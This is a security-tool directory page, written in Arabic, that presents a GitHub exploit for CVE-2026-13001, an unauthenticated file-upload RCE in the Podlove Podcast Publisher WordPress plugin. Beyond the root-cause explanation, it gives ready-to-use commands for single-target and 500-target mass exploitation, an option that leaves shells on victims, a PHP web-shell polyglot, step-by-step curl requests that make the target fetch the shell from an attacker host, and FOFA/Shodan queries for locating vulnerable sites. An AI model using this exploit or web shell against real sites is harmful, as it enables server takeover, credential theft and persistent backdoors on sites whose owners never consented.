Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-13001 — ثغرة RCE عبر رفع ملفات دون مصادقة في Podlove Podcast Publisher بسبب عدم تطابق is_image() مقابل extract_file_extension() | CVSS 9.8 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-13001
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubshinthink/cve-2026-13001

CVE-2026-13001

ثغرة RCE عبر رفع ملفات دون مصادقة في Podlove Podcast Publisher بسبب عدم تطابق is_image() مقابل extract_file_extension() | CVSS 9.8

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-13001 — رفع ملفات غير مصادَق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) في Podlove Podcast Publisher

عدم تطابق is_image() مع extract_file_extension() → رفع ملف PHP متعدد الصيغ (Polyglot)


نظرة عامة

CVE-2026-13001 هي ثغرة رفع ملفات تعسفي غير مصادَق عليه بدرجة خطورة حرجة (CVSS 9.8) في إضافة ووردبريس Podlove Podcast Publisher للإصدارات ≤ 4.5.1.

تستغل الثغرة عدم تطابق بين دالتين داخليتين تحللان امتدادات الملفات بطريقتين مختلفتين:

  • is_image() تستخدم basename() التي تتضمن سلاسل الاستعلام → يظهر عنوان URL shell.php?.gif كـ .gif ✅ (صورة صالحة)
  • extract_file_extension() تستخدم مسار parse_url() فقط → تُرجع .php → يُحفظ الملف بامتداد .php 🚨

يرفع المهاجمون ملفات GIF89a متعددة الصيغ (Polyglot) تحتوي PHP (ترويسة GIF صالحة + PHP مضمّنة) تجتاز التحقق من الصورة لكنها تُنفَّذ كـ PHP عند الوصول إليها.

الإصدارات المتأثرة

الإصدارالحالة
≤ 4.5.1قابلة للاستغلال
4.5.2+تم إصلاحها

اكتُشفت بواسطة: Talal Nasraddeen عبر Wordfence (14 يوليو 2026)


آلية الثغرة

السبب الجذري

root@kitploit:~
// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
root@kitploit:~
// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

تدفق الهجوم

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE

التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

الاستخدام

root@kitploit:~
# Single target
python cve_2026_13001.py -t target.com

# Mass scan
python cve_2026_13001.py -f targets.txt -o shells.txt

# Custom payload URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif

# Debug mode, leave shells
python cve_2026_13001.py -t target.com --debug --no-cleanup

الوسائط

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_13001.py -t podcast-site.com
root@kitploit:~
  Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8

  Host       : podcast-site.com
  Podlove    : YES v4.5.1
  Upload     : YES
  RCE        : YES
  Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 4.2s

الفحص الجماعي

root@kitploit:~
  Targets: 500  |  Threads: 30
  Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif

  [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
  [150/500] 30% | Det:42 RCE:8

الاستغلال اليدوي

الخطوة 1 — استضافة قشرة (Shell) متعددة الصيغ

root@kitploit:~
// shell.php — save and host on your server
GIF89a<?php system($_GET['c']); ?>

الخطوة 2 — ترميز عنوان URL بالنظام الست عشري مع الالتفاف

root@kitploit:~
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'

الخطوة 3 — تشغيل تنزيل الكاش

root@kitploit:~
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'

الخطوة 4 — الوصول إلى القشرة

root@kitploit:~
# Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"

التأثير

الاستغلال الناجح يحقق تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:

  • استخراج wp-config.php → بيانات اعتماد قاعدة البيانات
  • الوصول إلى كل محتوى WordPress وبيانات المستخدمين والإضافات
  • نشر أبواب خلفية دائمة
  • التنقل إلى الشبكات الداخلية

إخلاء المسؤولية

لأغراض تعليمية واختبارية مصرَّح بها فقط.

لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع


ليست تابعة لـ Podlove.

تنزيل الأداة
الموردالرابط
استشارة Wordfence الأمنيةwordfence.com
الإصدار الأمني من Podlovepodlove.org
إدخال NVDCVE-2026-13001
إثبات المفهوم بواسطة Raimu0x19GitHub
الباحثTalal Nasraddeen